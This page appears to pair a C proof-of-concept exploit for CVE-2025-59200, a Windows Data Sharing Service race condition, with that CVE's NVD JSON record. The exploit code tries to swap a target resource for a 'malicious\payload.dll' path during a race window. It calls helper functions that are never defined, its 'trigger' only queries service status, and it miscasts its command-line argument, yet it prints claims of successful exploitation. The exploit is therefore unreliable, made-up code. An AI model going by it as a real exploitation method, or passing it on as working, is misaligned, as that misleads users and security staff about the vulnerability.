CVE-2025-59200

// CVE-2025-59200 - Data Sharing Service Client Race Condition PoC // This PoC demonstrates the race condition exploitation concept // Note: Requires local access and specific timing #include <windows.h> #include <stdio.h> #include <tchar.h> #define TARGET_SERVICE L"DataSharingSvc" #define RACE_WINDOW_MS 100 // Structure to hold race condition parameters typedef struct _RACE_CONTEXT { HANDLE hSharedResource; LPWSTR lpOriginalPath; LPWSTR lpMaliciousPath; BOOL bIsExploited; } RACE_CONTEXT, *PRACE_CONTEXT; // Thread function to monitor and swap shared resource DWORD WINAPI RaceMonitorThread(LPVOID lpParam) { PRACE_CONTEXT pCtx = (PRACE_CONTEXT)lpParam; // Continuously monitor the shared resource while (!pCtx->bIsExploited) { // Check if the target resource is being accessed // (Time-of-Check phase completed) if (IsResourceInUse(pCtx->hSharedResource)) { // Race window detected - swap the resource // before Time-of-Use phase if (SwapResource(pCtx->lpOriginalPath, pCtx->lpMaliciousPath)) { pCtx->bIsExploited = TRUE; printf("[+] Race condition triggered successfully\n"); break; } } Sleep(1); // Minimal sleep to maximize race window } return 0; } // Trigger the Data Sharing Service to initiate the vulnerable code path BOOL TriggerDataSharing() { // Simulate triggering the Data Sharing Service Client // to perform the vulnerable race condition operation SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!hSCManager) { printf("[-] Failed to open SC Manager: %d\n", GetLastError()); return FALSE; } // Attempt to interact with the Data Sharing Service SC_HANDLE hService = OpenService(hSCManager, TARGET_SERVICE, SERVICE_ALL_ACCESS); if (hService) { // Trigger the vulnerable code path via service control SERVICE_STATUS_PROCESS ssp; DWORD dwBytesNeeded; QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(ssp), &dwBytesNeeded); CloseServiceHandle(hService); } CloseServiceHandle(hSCManager); return TRUE; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-59200 PoC - Data Sharing Service Race Condition\n"); printf("[*] Microsoft Windows Local Spoofing Vulnerability\n\n"); if (argc < 2) { printf("Usage: %s <target_resource_path>\n", argv[0]); printf("Note: Requires local administrator or user interaction\n"); return 1; } RACE_CONTEXT ctx = {0}; ctx.lpOriginalPath = (LPWSTR)argv[1]; ctx.lpMaliciousPath = (LPWSTR)L"C:\\malicious\\payload.dll"; // Start the race condition monitoring thread HANDLE hThread = CreateThread(NULL, 0, RaceMonitorThread, &ctx, 0, NULL); if (!hThread) { printf("[-] Failed to create monitor thread: %d\n", GetLastError()); return 1; } // Trigger the vulnerable Data Sharing operation printf("[*] Triggering Data Sharing Service...\n"); TriggerDataSharing(); // Wait for exploitation or timeout WaitForSingleObject(hThread, RACE_WINDOW_MS * 10); if (ctx.bIsExploited) { printf("[+] Exploitation successful - spoofing achieved\n"); } else { printf("[-] Race condition window missed, retry recommended\n"); } CloseHandle(hThread); return 0; }

{"cve": {"id": "CVE-2025-59200", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:59.520", "lastModified": "2025-10-17T15:29:20.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Data Sharing Service Client allows an unauthorized attacker to perform spoofing locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59200", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}